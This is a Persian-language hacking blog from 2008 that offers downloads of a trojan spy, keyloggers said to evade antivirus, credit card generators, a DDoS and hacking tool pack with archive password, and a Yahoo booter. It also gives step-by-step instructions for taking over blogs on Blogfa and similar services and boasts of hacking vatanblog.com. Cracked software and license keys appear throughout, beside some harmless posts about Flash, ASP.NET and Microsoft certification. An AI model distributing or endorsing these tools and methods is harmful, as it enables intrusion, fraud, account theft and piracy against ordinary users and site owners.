تبليغاتX
.·´¯`·.·• DeViL HaCkEr •·.·´¯`·.

.·´¯`·.·• DeViL HaCkEr •·.·´¯`·.

.::<هک><کرک><دانلود><آموزش>::.

دانلود Acunetix Web Vulnerability Scanner 5 - Cracked

+ نوشته شده در  سه شنبه نهم بهمن 1386ساعت 7:8  توسط Devil Hacker  | 

دانلود Yakoza 3.2

Yakoza 3.2
(Trojan-Spy.Win32.Yazoka.e)

از عکس معلومه دیگه .... دانلود کنید و لذت ببرید

Download: http://www.fileshare.ro/455745221.405

+ نوشته شده در  سه شنبه نهم بهمن 1386ساعت 6:2  توسط Devil Hacker  | 

دانلود AIO Wireless Hack Toolz 2008

This is nicely put best wireless tools into one pack.
It includes Kismet, NetStumbler, Wellenreiter, WEPcrack, airsnort, wepwedgie and Hotspotter.
Also reading is included to help you.
Must Have for wireless fans.

دانلود

+ نوشته شده در  سه شنبه نهم بهمن 1386ساعت 5:41  توسط Devil Hacker  | 

دانلود Credit Card Generator 2008

بهترین ابزارهای درست کردن کارت اعتباری ۲۰۰۸ .

با این نرم افزارهای کم یاب شما قادر به درست کردن و چک کردن شماره ی کارت اعتباری های معروف هستید.

دوستان اگر نحوه کاربا این ابزارها را بلد نیستید نگران نباشید. چون محیط کاملا ساده ای دارند.اگر مایل بودید که آموزش نحوه استفاده رو بزارم یا سوالی داشتید در قسمت نظرات .مطرح کنید.

Credit Card Generator
CCard Number Generator
Credit Card Generator v1.0b

دانلود

+ نوشته شده در  سه شنبه نهم بهمن 1386ساعت 5:28  توسط Devil Hacker  | 

دانلودKeyLogger Toolz 2008

بسته کی لاگر ۲۰۰۸ . تمامی ابزارها جدید می باشند و توسط آنتی ویروس شناسایی نمی شوند.

دوستان اگر نحوه کاربا این ابزارها را بلد نیستید نگران نباشید. چون محیط کاملا ساده ای دارند.اگر مایل بودید که آموزش نحوه استفاده رو بزارم یا سوالی داشتید در قسمت نظرات .مطرح کنید.

Ardamax Keylogger + Keygen
Golden Keylogger + Serial
Sc Keylogger + Serial
Quick KeyLogger + Crack
Spy Any Time + Serial
Stealth Keylogger + Serial
Perefect Keylogger + Keygen
Activity KeyLogger + Serial

دانلود

+ نوشته شده در  سه شنبه نهم بهمن 1386ساعت 5:6  توسط Devil Hacker  | 

دانلود Hacking Toolz 2008

این بسته  all in one  ابزاهای هک می باشد.

کلیه ابزارها 2008 میباشند.

In this AIO ( All In One ) have a lot of :
! RFI Scanner 2008 Hot
 dD0s 2008
Crack Hash MD5 2008
Vulnerability Scanners 2008
Keyloggers 2008

:Download

http://rapidshare.com/files/86704355/-__Attack__-.rar

Password : eagleitanium

+ نوشته شده در  سه شنبه نهم بهمن 1386ساعت 4:50  توسط Devil Hacker  | 

Hacker Evolution 2007

بازی مهیج و فکری که شما در این بازی در نقش یه هکر هستید . دیدم جالب گذاشتم برای دانلود

Download

+ نوشته شده در  دوشنبه یکم بهمن 1386ساعت 4:22  توسط Devil Hacker  | 

دانلود Wedding Daze 2008 DVDRip

+ نوشته شده در  دوشنبه یکم بهمن 1386ساعت 4:10  توسط Devil Hacker  | 

Off!ce08 H0me & Stud3nt MAC-OSX دانلود

+ نوشته شده در  دوشنبه یکم بهمن 1386ساعت 4:2  توسط Devil Hacker  | 

آموزش هک کردن وبلاگ + برنامه

 

سلام دوستان این بار می خوام آموزش هک کردن ۱۰۰٪ وبلاگ رو آموزش بدم !!

شما با این برنامه به آسانی قادر به هک کردن وبلاگ های بلاگفا و وطن بلاگ و میهن بلاگ و ... هستید. کار با برنامه هم آسون اگر هم مشکلی داشتید تو نظرات واسم کامنت بزارید.

اسم این برنامه  Web Spy 2.0  که فقط تو این وبلاگ می تونید مجانی دانلود کنید.

دانلود web spy 2.0

توضیحات :

.در قسمت User Name  سم وبلاگ بدون blogfa.com.  مثال : برای هک کردن وبلاگ  www.dev4.blogfa.com  شما باید در این قسمت فقط Dev4  رو بنویسید

.در قسمت Mail  ایمیل نویسنده وبلاگ رو وارد کنید

.در قسمت server  آدرس سایت سرویس دهنده وبلاگ رو وارد کنید . در این مثال می خواهیم یکی از وبلاگ های بلاگفا رو هک کنیم پس www.blogfa.com  رو وارد می کنیم.

.خوب حالا دکمه ..Connect کلیک کنید

.حالا دکمه  Find  تا پسورد وبلاگو بزاره کف دستتون ( البته ممکن طول بکشه پس حوصله داشته باشید)

 دوستان خوب این وبلاگ به دوستاتون معرفی کنید.

+ نوشته شده در  یکشنبه سی ام دی 1386ساعت 15:59  توسط Devil Hacker  | 

HidesFiles ابزاری برای مخفی کردن فایل و فولدر

شما با این برنامه قادرید که فایلهای شخصیتونومخفی کنی

قابلیتهای برنامه:

با پاک شدن ویندوزهم فایلهای رو که مخفی کرده اید. نمایان نمی شوند.

حجم کم برنامه در مقابل کارایی فراوانش.

ساده بودن کار با نرم افزار.

دانلود با حجم 771 kb

+ نوشته شده در  یکشنبه سی ام دی 1386ساعت 3:24  توسط Devil Hacker  | 

هک شدن www.VatanBog.Com

با عرض تسلیت به ادمینهای عزیز وطن بلاگ . این سایت توسط من هک شده

http://vatanblog.com

News.Vatanblog.com

 

+ نوشته شده در  شنبه بیست و نهم دی 1386ساعت 19:51  توسط Devil Hacker  | 

VMUnpacker V1.2

سلام دوستان

شما با این نرم قادر خواهید بود با سرت بالایی فایلهایی را که به صورت پک یا پروتکت هستند به حالت عادی برگردونید .

از دیگر قابلیتهای برنامه اینه که اگر هم قادر به آنپک کردن نباشد نوع پکر را مشخص می کند

اینم لسیت پکهایی که برنامه پشتیبانی می کند

دانلود با حجم 1.07


This tool based on the technology of virtual machine, it could unpack various known & unknown shells. It is suitable for unpacking the shelled Trojan horse in virus analyses, and because all codes are run under the virtual machine, so they will not take any danger to your system.

+ نوشته شده در  شنبه بیست و نهم دی 1386ساعت 19:30  توسط Devil Hacker  | 

PCMark Professional 5.1.0.1 ابزاری برای چک نمودن سخت افزار و نرم افزار سیستم

 

PCMark Professional نام ابزاری می باشد که به وسیله آن کاربران قادر به چک نمودن کارایی قسمت های مختلف نرم افزاری و سخت افزاری سیستم می باشند. این نرم افزار قادر به چک کردن بسیاری از قسمت های مختلف نرم افزاری و سخت افزاری می باشد که می توان به کنترل و نمایش CPU ، حافظه ، هارد دیسک ، نرم افزارهای مرورگر و  گرافیکی و ... را کنترل نماید. همچنین به کمک این نرم افزار می توان سرعت کار با نرم افزارها و یا رخدادهای مختلف در سیستم عامل ویندوز را نیز فهمید ، به عنوان مثال به کمک این برنامه شما حتی قادر خواهید بود تا سرعت بارگذاری یک صفحه وب را اندازه گیری نمایید. این نرم افزار محصولی از شرکت futuremark می باشد.

دانلود با حجم 10.2 همراه با کرک

+ نوشته شده در  شنبه بیست و نهم دی 1386ساعت 0:12  توسط Devil Hacker  | 

انتقال فایل به موبایل با مانیتور !!

شما به وسیله این نرم افزار می توانید به راحتی و در عرض چند ثانیه از مانیتور یا LCD کامپیوتر و یا لپ تاپ خود به موبایلتان انتقال دهید. کافی است موبایلتان یک عدد دوربین و پلتفرم آن سیمبیان باشد. شما بوسیله نرم افزار Screen FTP و سایت مربوطه آن می توانید هرگونه فایلی را از طریق مانیتور و دوربین به موبایلتان انتقال دهید.

طریقه کار برنامه: شما باید ابتدا این برنامه که حجم کمی هم دارد را از لينکي که در انتهاي اين متن قرار داده شده دانلود و روی گوشی خود نصب کنید. بعد به اینجا رفته و بعد از لود شدن صفحه جاوا فایل خود را از روی هارد انتخاب کنید. سپس این سایت آن فایل را کد می کند و به شکل های عجیبی در می آورد . اکنون نرم افزار را روی موبایل خود اجرا و دوربین گوشی خود روی بخشی که کد شده بگیرید . انگار که می خواهید از آن فیلمبرداری کنید. به محضی که گوشی شما آن تصویر کد شده را شناخت روی موبایل دستور العمل انجام کار می آید . کافی است که حالا همانطور که دوربین خود را روی آن شکل کد شده قرار داده اید دکمه Play در صفحه وب مورد نظر را بزنید و چند ثانیه صبر کنید تا کامل پخش شود . هنگام پایان کار آن فایل برای شما به صورت MMS یا SMS ارسال و به درون inbox شما می رود . شما با این روش می توانید حتی متن های بلند Text را به راحتی و در عرض چند ثانیه به گوشی خود بفرستید بدون نیاز به سیم و بلوتوث ، به همین سادگی و به همین خوشمزگی!

دانلود

 

+ نوشته شده در  جمعه بیست و هشتم دی 1386ساعت 23:50  توسط Devil Hacker  | 

دانلود یاهو بوتر جدید

با این برنامه شما قادر به بوت کردن افراد به روشهای مختلف در یاهو هستید و از بوت کردن لذت ببرید

این برنامه جدید و مالتی لوگین می باشد !

+فایلهای OcX

دانلود با حجم 1.09

 

+ نوشته شده در  جمعه بیست و هشتم دی 1386ساعت 23:42  توسط Devil Hacker  | 

ايجاد محدوديت زمانى برای كاربران (NT Series)

شما به عنوان سرپرست (Admin) مى توانيد براي ورود ساير كاربران به سيستم محدوديت زمانى قرار دهيد.

به خط فرمان وارد شوید. اكنون از دستور net user استفاده مى كنيم. اين دستور اگر به تنهائى استفاده شود فهرست كاربران را نمايش مى دهد. اما ما بايستى براى ايجاد محدوديت زمانى از پارامترهاى زير همراه اين دستور بهره گيريم:

net user username /time:times

مثالا" :

net user bardia /time:M-F,08:00-17:00

در اين مثال كاربرى به نام بردیا مى تواند در روزهاى دوشنبه تا جمعه  (Monday to Friday)

از ساعت 8 صبح تا ساعت 5 بعد از ظهر وارد محيط ويندوز XP شود.

net user arash /time:M,4am-5pm;T-F,8:00-17:00

در اين مثال كاربري به نام آرش مى تواند دوشنبه ها از ساعت 4 صبح تا 5 بعدازظهر وارد محيط ويندوز XP شود.

net user parham /time:all

در اين مثال پرهام مى تواند در هر ساعتى وارد محيط ويندوز XP شود.

 

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 16:27  توسط Devil Hacker  | 

Flash برای چه بوجود آمد ؟

 

نرم افزار Flash از شرکت Macromedia نرم افزاری است که شرکت ماکرومدیا به عنوان یک Solution یک راه حل در مرحله اول ایجاد کرد برای انتقال تصاویر Vector بر روی وب .

تصاویر Vector به چه معنی است ؟؟؟

دو نوع تصویر وجود دارد ، یکی تصاویر Pixel که در اصطلاح به آنها Raster هم گفته میشود و یکی دیگر تصاویر برداری یا Vector .

اوایل که اینترنت به وجود آمده بود سرعتهای Connection اینترنتی در حد سرعتهایی که هم اکنون ما در ایران از آن استفاده میکنیم هم نبود ، چه برسد به آن سرعتی که هم اکنون آمریکایی ها از آن استفاده میکنند . در آن زمان سرعتهای مودمهایی که معمول بود 9600 بیت در ثانیه بود بهد از آن به 14400 بیت در ثانیه تبدیل شد . 9600 یعنی در یک ثانیه 0.9 کیلوبایت میتوانست اطلاعات را Transfer کند . یعنی اگر قرار بود که تصویری ایجاد شود که این تصویر تبلیغات یک محصول قرار بود باشد و این تصویر 50 KB حجمش بود زمانی که لازم بود Data Transfer انجام بشه و تصویر ظاهر بشود در آن مودمها 55 ثانیه بود . در نتیجه انتقال اطلاعات در اینترنت بسیار بسیار کند اتفاق می افتاد . به همین دلیل بود که در HTML های ورژن 1 و 2 مرسوم نبود که از تصویر در سایت وب استفاده کنند و راحت تر بگویم اصلا Tag های مربوط به Image در آن زمان در زبان  HTML وجود نداشت .

به تدریج که سرعتها افزایش پیدا کردند و سرعتها به 14400 و 28800 بیت در ثانیه رسیدند ، کم کم تصاویر Pixel در وب مطرح شدند و لی خوب یک چیزایی وجود داشت که هیچ الزامی پشتش نبود که این تصاویر بخواهد Pixel باشد مثلا آرم شرکت یا مثلا یک Title که قرار بود در بالای سایت قرار بگیرد و با یک فونت خاصی هم نمایش داده شود . اینها را اگر به یک شکلی میتوانستیم Vector انتقالشان دهیم خیلی خیلی سبکتر میشدند و در واقع یک صفحه وب هر چه حجمش کمتر  باشد در اصطلاح به آن میگویند صفحه وب از لحاظ حجم بهینه است یا بهتره .

در یک نرم افزار گرافیک Vector اگر بخواهیم یک خط ترسیم کنیم ، نرم افزار گرافیک Vector برای ترسیم مختصات نقطه شروع و مختصات نقطه پایان را در خودش ذخیره میکند. یعنی 2 جفت عدد را یا بهتر بگم 4 تا دونه عدد را . ولی در نرم افزار گرافیک Pixel زمانی که بخواهیم یک خط بکشیم باید اطلاعات مربوط به تک تک این Pixel هایی که در روی خط قرار دارند بعلاوه تمام Pixel های دور آن را در خود ذخیره کند و هیچ فرمول ریاضی در این داستان نمیتواند دخالت کند و فقط میتوانیم در فرمتهای مختلف گرافیکی آنها را فشرده سازی کرد .

ولی در هر صورت حجم فایلهای Pixel اصلا قابل قیاس با فایلهای Vector نبود . دو شرکت آمدند و سعی کردند که این کار را انجام دهند ، یعنی آمدند یک قالب و یک روشی را پیدا کنند که فایلها را بتوانند به صورت Vector انتقال دهند. زیرا مرورگرها فقط فایلهای Pixel را میتوانند نمایش دهند .

یکی شرکت Adobe بود که آمد و یک چیزی اختراع کرد به نام SVG (Scalble Vector Graphic) و دیگری شرکت Macromedia بود که آمد و SWF (Shockwave Flash) را اختراع کرد .

پس هدف در مرحله اول انتقال تصاویر Vector بود به هدف سبک تر شدن حجم صفحات .

اما مرورگرهای وب به تدریج توانایی پخش این جریان را نداشتند در نتیجه یک چیزی به وجود آمد به نام Plugin که بر روی مرورگر دستگاه شخص نصب میشود که باعث میشود که آن گرافیک به نمایش در آید. مثلا Flash Player که از اینترنت دانلود میکنیم و یا از روی CD نصب میکنیم، همین نقش را به عهده دارد .

Flash به تدریج که تکامل پیدا کرد خیلی از داستانهای دیگری بود که به آن اضافه شد یعنی مثلا بحث انیمیشن در این برنامه مطرح شد – بحث موزیک در این برنامه مطرح شد – بحث برنامه نویسی در این برنامه مطرح شد .

تا قبل از این جریان که Flash انیمیشن را در خودش قرار بدهد میبایستی برای ساخت انیمیشن های اینترنتی از Gif Animation استفاده میشد که مشکلی که بود این بود که این قضیه باید فریم فریم ساخته میشد و مساله بعدی این بود که Gif Animation ها به صورت PIXEL بودند و Flash تصاویر Vector را به انیمیشن تبدیل میکند و این را هم باید بگویم که ساخت انیمیشن در Flash بسیار راحت تر از ساخت Gif Animation است .

امکان استفاده از موزیک در Flash یک امکان فوق العاده بود که یک استاندارد برای پخش موزیک در وب قرار دارد که این استاندارد MP3 بود .

 

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 16:25  توسط Devil Hacker  | 

براي دريافت مدرك MCSD.net از كجا شروع كنيم ؟

 

اين مدرك به عنوان مهندسي نرم افزار مايكروسافت مطرح شده و در تمامي دنيا داراي ارزش بسيار بالايي است . طبق گزارش سايت MCPmag ( سايت مجله الكترونيك مهندسان مايكروسافت) ميانگين درآمد سالانه مهندسان MCSD در آمريكا در سال گذشته حدود 75’000$ دلار بوده است.

 

چه درس هايي را براي دريافت MCSD.net بايد پاس كرد؟

هر درسي كه شما در امتحان پاس ميكنيد به عنوان يك كورس محسوب ميشود و مدركي كه به شما براي هر كورس اعطا ميشود MCP نام دارد . براي مدرك MCSD شما بايد 5 درس زير را بگذرانيد :

1-                         Windows application (VB.net)

2-                         Web application (ASP.net)

3-                         SQL Server

4-                         XML Web servicves

5-                         Solution Artchitecture

مدرك ديگري نيز بنام MCAD وجود دارد كه قبل از دريافت مدرك MCSD  آن را دريافت ميكنيد . اگر شما 3 درس خاص از 5 درس بالارا بگذرانيد ، مدرك MCAD ميگيريد . حال با گذراندن 2 درس ديگر ميتوانيد مدرك خود را از MCAD به MCSD ارتقا دهيد .

3 درس مورد نظر براي مدرك MCAD عبارتند از :

1-                         Windows application (VB.net)

2-                         SQL Server

3-                         XML Web servicves

براي يادگيري دروس دات نت چه بايد كرد؟

در صورتي كه سررشته اي از برنامه نويسي داريد ، ميتوانيد در يكي از كلاس هاي معتبر  VB.net در موسساتي كه هم اكنون در ايران اين دوره ها را برگزار ميكنند شركت كنيد (موسساتي مانند مجتمع فني تهران و شركت MIT و ...) . اگر تا كنون برنامه نويس نبوده ايد بهتر است يك دوره ويژوال بيسيك يا ويژوال بيسيك دات نت مقدماتي برويد تا كمي با برنامه نويسي آشنا شويد و توانايي شركت در اولين دوره را پيدا كنيد .

تعداد ساعات و هزينه كلاس ها و امتحان هاي دات نت :

هر كلاس دات نت حدود 50 ساعت است و حدود 150000 تومان هزينه بر ميدارد . هر امتحان دات نت 125 دلار آمريكا هزينه دارد (البته اگر در دبي امتحان دهيد) . در ايران چند شركت اين امتحان را برگزار ميكنند كه 185000 تومان بابت هر امتحان از شما ميگيرند (چون امتحان در ايران غير مجاز برگزار ميشود ، بعلت تحريم اطلاعاتي ايران).

 امتحانات مايكروسافت به 2 حالت برگزار ميشود :

1-                            Standard : 50 سوال دارد . امكان برگشت به سوالات جواب نداده هست و امتياز قبولي 720 از هزار مي باشد.

2-                            Adaptive : تعداد سوالات بين 30 تا 70 متغير است. امكان برگشت به سوالات بعد از رد شدن از آنها وجود ندارد و امتياز قبولي 600 از هزار است . در اين حالت سوالات ،  نسبت به جواب دادن هاي شما تغيير ميكنند . مثلا اگر سوال يك را جواب ندهيد سوال دو آسان ميشود . وقتي دومي را جواب بدهيد سومي سخت ميشود ....

 

تا وقتي كه شما سر جلسه امتحان ننشسته باشيد نميتوان نوع امتحان شما را حدس زد و نميتوانيد تعيين كنيد كه امتحان چگونه برگزار ميشود . امتحانات تحت اينترنت و بصورت آنلاين برگزار ميشود . مدت امتحان 90 دقيقه است . در صورتي كه زبان مادري شما غير از انگليسي باشد ميتوانيد درخواست 30 دقيقه خاطر زبانتان بدهيد كه ميشود 120 دقيقه .

پيشنهاد ما : قبل از امتحان حتما با نمونه تست هايي كه توسط اساتيد يا اينترنت در دسترس شما قرار ميگيرد خود را امتحان كنيد تا الكي پول خود را با قبول نشدن هدر نداده باشيد . بهتر است اولين امتحانتان را در تهران با هزينه 185000 تومان امتحان دهيد تا طرز امتحان و دلهره آن برايتان عادي شود . براي امتحانات بعدي هر 2 درس را كه خوانديد به دبي برويد و آنجا امتحان دهيد . چون هزينه 2 امتحان در دبي برابر با هزينه 2 امتحان در تهران است. اما يك امتحان در تهران بيشتر صرف ميكند .

(هر امتحان 125 دلاري مساوي با 100 هزار تومان كه دوتاي آن ميشه 200 هزار تومان و يك تور 170 هزار توماني سه روزه دبي هم بگيريد . روي هم 370 هزار تومان . درصورتي كه در تهران دوتا 185 هزار تومان ميشود 370 هزار تومان . كدام براي شما صرف ميكند ؟)

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 16:23  توسط Devil Hacker  | 

آشنائی با ASP.NET

NET نسل بعدی Active Server Pages يا ASP است که توسط شرکت ميکروسافت ارائه شده است. اين محصول توسط ميکروسافت بعنوان شاخص اصلی فناوری در ساخت سايتهای وب در نظر گرفته شده است. با استفاده از ASP.NET می توان هم اينترانت کوچک يک شرکت را ساخت و هم يک سايت وب تجاری خيلی بزرگ را طراحی و پياده سازی نمود. مهمترين نکاتی که در طراحی اين محصول در نظر گرفته شده است راحتی استفاده و بالا بودن کارائی و قابليت آن می باشد. در زير برخی ويژگيهای ASP.NET را بررسی می کنيم.

• صفحات ASP.NET کامپايل می شوند.
هنگامی که يک صفحه ASP.NET برای اولين بارتوسط يک مراجعه کننده به سايت فراخوانی می شود، آن صفحه ابتدا کامپايل شده و بر روی سرور نگهداشته می شود و در فراخوانی های بعدی از آن استفاده می شود. اين بدين معنی است که صفحات ASP.NET خيلی سريع اجرا می شوند.

• صفحات ASP.NET با ابزارهای روی سرور ساخته می شوند.
با ابزارهای موجود در ASP.NET می توان صفحات پيچيده وب را براحتی طراحی نمود. بعنوان مثال با استفاده از ابزار DataGrid می توان به آسانی داده های موجود در يک بانک اطلاعاتی را تحت وب نمايش داد.

• مجموعهASP.NET عضوی از بدنه NET. است.
بدنه NET. دارای بيش از ۴۵۰۰ کلاس آماده جهت استفاده در ASP.NET است. اين کلاس ها تقريبا هر نيازی را در برنامه نويسی برآورده می کنند. بعنوان مثال از اين کلاس ها می توان جهت توليد تصاوير بر حسب تقاضا، به رمز درآوردن يک فايل و يا ارسال يک نامه استفاده کرد.

مقايسه ASP.NET و ASP کلاسيک
ASP.NET نسل بعدی ASP يا ASP کلاسيک است. اما اين يک پيشرفت تکاملی است بطوريکه اين دو فناوری تقريبا از يکديگر متفاوتند. صفحات ASP با زبان های دستورالعمل نويسی مانند VBScript يا JScript ايجاد می شوند اما در ASP.NET ما يک فرايند کامل برنامه نويسی با زبانهای Visual Basic يا #C (سي-شارپ تلفظ شود) داريم. همچنين در ASP کلاسيک تنها پنج کلاس استاندارد (Request, Response, Application Session, Server) وجود دارد حال آنکه در ASP.NET می توان از بيش از ۴۵۰۰ کلاس استاندارد موجود در بدنه NET. بهره جست.همچنين عليرغم قدرت و امکانات زياد و متعدد ASP.NET، استفاده از آن در مقايسه با ASP کلاسيک بسيار آسانتر است. بعنوان مثال با استفاده از چند ابزار در يک صفحه ASP.NET می توان يک صفحه بسيار پيچيده HTML بدست آورد که ساخت آن در ASP کلاسيک ممکن است نياز به چند روز کار داشته باشد.

زبانهای برنامه نويسی در ASP.NET
شما در ASP.NET می توانيد از هر زبان برنامه نويسی که با بدنه NET. سازگار باشد استفاده کنيد. اين زبانها عبارتند از Visual Basic.NET و #C و JScript.NET . اين بدين معنی است که شما جهت نوشتن برنامه در ASP.NET نياز به فراگيری زبان جديدی نداريد و اگر يکی از زبانهای ويژوال بيسيک يا ++C يا جاوا را می دانيد هم اکنون می توانيد در ASP.NET برنامه بنويسيد.از طرف ديگر تعدادی زبانهای ديگر توسط بعضی از شرکتهای فعال در اين زمينه به مجموعه زبانهای استاندارد ASP.NET افزوده شده است. بعنوان مثال اگر مايل باشيد حتی می توانيد از PERL و COBOL هم در ASP.NET استفاده کنيد.

ابزارهای ASP.NET
سالهاست که برنامه نويسان ويژوال بيسيک جهت ساخت فرم های خود از ابزارهای ويژوال بيسيک مانند TextBox و ListBox استفاده کرده اند. در ASP.NET هم شما می توانيد از ابزارهای فراوان موجود در آن برای ساخت فرم ها و صفحات خود استفاده نمائيد. در ASP.NET چهار دسته عمده از ابزارها موجود است:
• ابزارهای اصلی مانند TextBox، RadioButton، ListBox و Button.
• ابزارهای اعتباری برای حصول اطمينان از ورود و تائيد صحت اطلاعات ورودی فرم ها.
• ابزارهای داده ای برای ارتباط با بانک اطلاعاتی و دستکاری داده.
• ابزارهای پيشرفته جهت نمايش عناصر پيچيده در واسط کاربر مانند تقويم و آگهی های تبليغاتي.

با استفاده از Visual Studio.NET شما براحتی می توانيد با چيدن تصويری اين ابزارها بر روی فرم مورد نظر، صفحه دلخواه خود را بسازيد. در صورت تمايل حتی می توانيد در يک ويرايشگر ساده متن مانند Notepad برنامه مورد نظر را نوشته و از اين ابزارها استفاده کنيد.

دريافت ASP.NET
جهت شروع برنامه نويسی در ASP.NET تنها کافی است که مجموعه ASP.NET را بهمراه بدنه NET. از سايت ميکروسافت دريافت کنيد.

دريافت .NET Framework

ASP.NET با سيستم عامل های Windows 2000 (نسخه Server و Professional) و Windows XP کاملا سازگار است.

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 16:17  توسط Devil Hacker  | 

Visual Studio 2008 Express Edition All-in-One DVD Final

 

Get started creating cool fun projects with one of these Express Edition products. Click an Express Edition product to get started creating cool fun projects today.
- Visual Basic 2008 Express Edition
- Visual C# 2008 Express Edition
- Visual C++ 2008 Express Edition
- Visual Web Developer 2008 Express Edition
- SQL Server Express Edition
Download : Visual Studio 2008 Express Edition All-in-One DVD Final -- 894.7MB
Source : Microsoft Visual Studio 2008
Key : T2CR-QGDK-BVW7-KJR8-C6CK-XMW3D

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 16:3  توسط Devil Hacker  | 

Babylon Pro v.7.0.0 r16 Free Download

Description:
Babylon 7 is the world\'s leading dictionary and translation software in over 75 languages. No more spelling mistakes or time wasted looking for the correct word or translation. With Babylon 7, reading and writing in all languages is easier, faster and more efficient. Babylon 7 does all the work for you with great new automatic features:
Spell check of your online text entry, Smart dictionary to and from any language and Auto completion of your query terms.

Babylon 7 features:
• Dictionary and translation results delivered in a Single click
• Full text translation in a single click
• Spell check for Hotmail, Gmail, Blogs and more
• Auto completion
• Smart Dictionary
• Customization
• Babylon Toolbar
• World time zones, currencies and units conversion
• Additional content for your Babylon . Brought to you by Www.Dev.Blogfa.Ir!

دانلود

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 14:0  توسط Devil Hacker  | 

Downlod FileMaker Pro 9 Advanced Free

رم افزار File Maker Pro 9.0 محتوای متون، پروژه و بقیه اطلاعات منطقی را برای سازمان های تجاری کوچک سازمان دهی می کند. نسخه جدید این نرم افزار به کاربران اجازه می دهد که داده های به خصوصی را به ایمیلی متصل کنند و پشتیبانی برای پایگاه داده SQL را اضافه کند. بنابراین کاربران File Maker می توانند اطلاعات ذخیره شده در پایگاه داده شرکت را با این زبان ایجاد کنند.


http://rapidshare.com/files/68445253/FMProAdvanced9r3.part1.rar
http://rapidshare.com/files/68456461/FMProAdvanced9r3.part2.rar
http://rapidshare.com/files/68472180/FMProAdvanced9r3.part3.rar
http://rapidshare.com/files/68481055/FMProAdvanced9r3.part4.rar
http://rapidshare.com/files/79064150/Extras.rar

دوستان دانلود کنید تا از دست نرفته !

 

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 13:54  توسط Devil Hacker  | 

Win Hex

 Powerful directory browser for FAT, NTFS, Ext2/3, ReiserFS, CDFS, UDF
- RAM editor, providing access to other processes' virtual memory
- Data interpreter, knowing 20 data types
- Editing data structures using templates (e.g. to repair partition table/boot sector)
- Concatenating and splitting files, unifying and dividing odd and even bytes/words
- Analyzing and comparing files
- Particularly flexible search and replace functions
- Disk cloning, with a specialist license also under DOS
- Drive images & backups (optionally compressed or split into 650 MB archives)
- Programming interface (API) and scripting (professional & specialist licenses only)
- 128-bit encryption, checksums, CRC32, hashes (MD5, SHA-1, ...)
- Erase (wipe) confidential files securely, hard drive cleansing to protect your privacy
- Import all clipboard formats, incl. ASCII hex values
- Convert between binary, hex ASCII, Intel Hex, and Motorola S
- Character sets: ANSI ASCII, IBM ASCII, EBCDIC, (Unicode)
- Instant window switching. Printing. Random-number generator.
- Supports files >4 GB. Very fast. Easy to use.

دانلود

+ نوشته شده در  پنجشنبه بیست و هفتم دی 1386ساعت 13:43  توسط Devil Hacker  | 

Passmark WirelessMon Pro v2.1

Passmark WirelessMon نرم افزاری جهت کنترل و مدیریت کارتهای شبکه بی سیم
WirelessMon نرم افزاری است که به شما این امکان را می دهد تا از وضعیت wireless WiFi adapter در همه حال آگاه باشید و اطلاعاتی درباره ی wireless های نزدیک و در دسترس جمع آوری می کند و در اختیارتان میگذارد. WirelessMon می تواند اطلاعات را دریک فایل ثبت کند و همچنین نموداری وسیع وجامع از میزان سیگنال و آمار 802.11 WiFi اماده می کند.
کاربردهای برنامه:
بازبینی درست بودن شبکه ی 802.11
تست کردن WiFi hardwareو device drivers برای مطمئن شدن از درست کار کردن انها.
چک کردن میزان سیگنال شبکه WiFiشما ودیگر شبکه های نزدیک .
کمک برای مکان یابی کردن منشأ امواج شبکه ی شما.
ایجاد کردن نقشه های قوه ی سیگنال از محل.
پشتیبانی از GPS برای ثبت و نقشه برداری قوه ی سیگنال.
مستقر کردن آنتن wireless شما بطور دقیق.
تامین امنیت شبکه شما.
اندازه گرفتن سرعت وتوان عملیاتی شبکه.
کمک برای چک کردن محدوده شبکه ی Wifi
پشتیبانی از:
تمام wireless adapter که با NDIS_802.11 کار می کنند می توانند اطلاعات را به WirelessMon گزارش دهند.دقت داشته باشید که فقط Windows 2000 (سرویس پک 4 و بالاتر) ,XP از این نرم افزار پشتیبانی می شوند و ویندوز های 95, 98 و NT پشتیبانی نمی شوند.تمام استانداردهای گوناگونIEEE 802.11 پشتیبانی می شوند از جمله : 802.11a, 802.11b and 802.11g
اطلاعات wireless LAN که در زیر آمده است توسط WirelessMonنشان داده می شود.
اطلاعات اتصال فعلی: SSID ، قوه ی سیگنال ، نیروی Tx ، اثبات درستی نوع ، استانه ی RTS ، استانه ی Fragmentation ، کانال در حال استفاده ، فرکانس استفاده شده ، تعداد آنتن ها ، پنجره ی ATIM ، زمان بودن در شبکه ، الگوی Hop
اطلاعات آماری : بیش از 30 پارامتر گزارش داده می شود. شامل: جزئیات فریم هایی که فرستاده و گرفته می شود ، شمارش خطاها
اطلاعات IP : اطلاعات درباره ی TCP/IPفعلی. شامل : آدرس adapter MAC ، آدرس IP ، نام درایور آداپتور
اطلاعات شمارنده IP : فعال و غیر فعال کردن توان عملیاتی شبکه. شامل بالاترین پهنای باند در دسترس از شبکه، شمارنده ی خطاها
فرق نسخه ی معمولی با حرفه ای:
نسخه ی حرفه ای تمام خصوصیات WirelessMon را داراست در نسخه ی معمولی GPS وجود ندارد ولی در این نسخه موجود می باشد در نسخه ی معمولی نقشه ی قوهی سیگنال فعال نیست ولی در این نسخه فعال می باشد.

دانلود با حجم ۲.۱ مگابایت

پسورد فایل : www.kamyabonline.com

+ نوشته شده در  دوشنبه بیست و چهارم دی 1386ساعت 2:16  توسط Devil Hacker  | 

دانلود کتاب 5

 
  Designing Database Solutions by Using Microsoft SQL Server 2005 Delivery Guide - Exam 70-441

کتاب آموزشي مربوط به دوره MCITP

 دانلود
 

  Microsoft NET Framework 2.0 Application Development Foundation - Exam 70-536
کتاب آموزشي مربوط به دوره MCTS , MCPD

 دانلود
 


  MCTS Self-Paced Training Kit . NET Framework 2.0 Distributed Application Development-Exam 70-529

کتاب آموزشي مربوط به دوره MCTS , MCPD

 دانلود


  MCTS Self-Paced Training Kit Microsoft.NET FrameWork 2.0 Web-Based Client Development- Exam 70-528

کتاب آموزشي مربوط به دوره MCTS , MCPD

 دانلود
 
  MCTS Self-Paced Training Kit .NET Framework 2.0 Windows-Based Client Development-Exam 70-526

کتاب آموزشي مربوط به دوره MCTS , MCPD

 دانلود
